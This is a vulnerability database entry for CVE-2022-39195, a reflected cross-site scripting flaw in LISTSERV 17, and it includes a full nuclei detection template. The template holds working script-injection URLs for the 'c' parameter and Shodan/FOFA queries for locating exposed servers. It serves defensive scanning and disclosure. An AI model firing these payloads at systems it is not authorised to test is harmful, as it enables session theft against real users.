HexBrain

Browse / CVEs / CVE-2022-39195

CVE-2022-39195· lsoft / listserv· CWE-79

LISTSERV 17 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6.5%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

LISTSERV 17 web interface contains a cross-site scripting vulnerability. An attacker can inject arbitrary JavaScript or HTML via the "c" parameter, thereby possibly allowing the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET {{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "<script>alert(document.domain)</script>" and "LISTSERV" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-39195 -u <target>

The full check
id: CVE-2022-39195

info:
  name: LISTSERV 17 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    LISTSERV 17 web interface contains a cross-site scripting vulnerability. An attacker can inject arbitrary JavaScript or HTML via the "c" parameter, thereby possibly allowing the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/170552/LISTSERV-17-Cross-Site-Scripting.html
    - https://peach.ease.lsoft.com/scripts/wa-PEACH.exe?A0=LSTSRV-L
    - https://packetstormsecurity.com/2301-exploits/listserv17-xss.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39195
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39195
    cwe-id: CWE-79
    epss-score: 0.06485
    epss-percentile: 0.9381
    cpe: cpe:2.3:a:lsoft:listserv:17.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lsoft
    product: listserv
    shodan-query:
      - http.html:"LISTSERV"
      - http.html:"listserv"
    fofa-query: body="listserv"
  tags: cve,cve2022,xss,listserv,packetstorm,lsoft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
          - "LISTSERV"
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from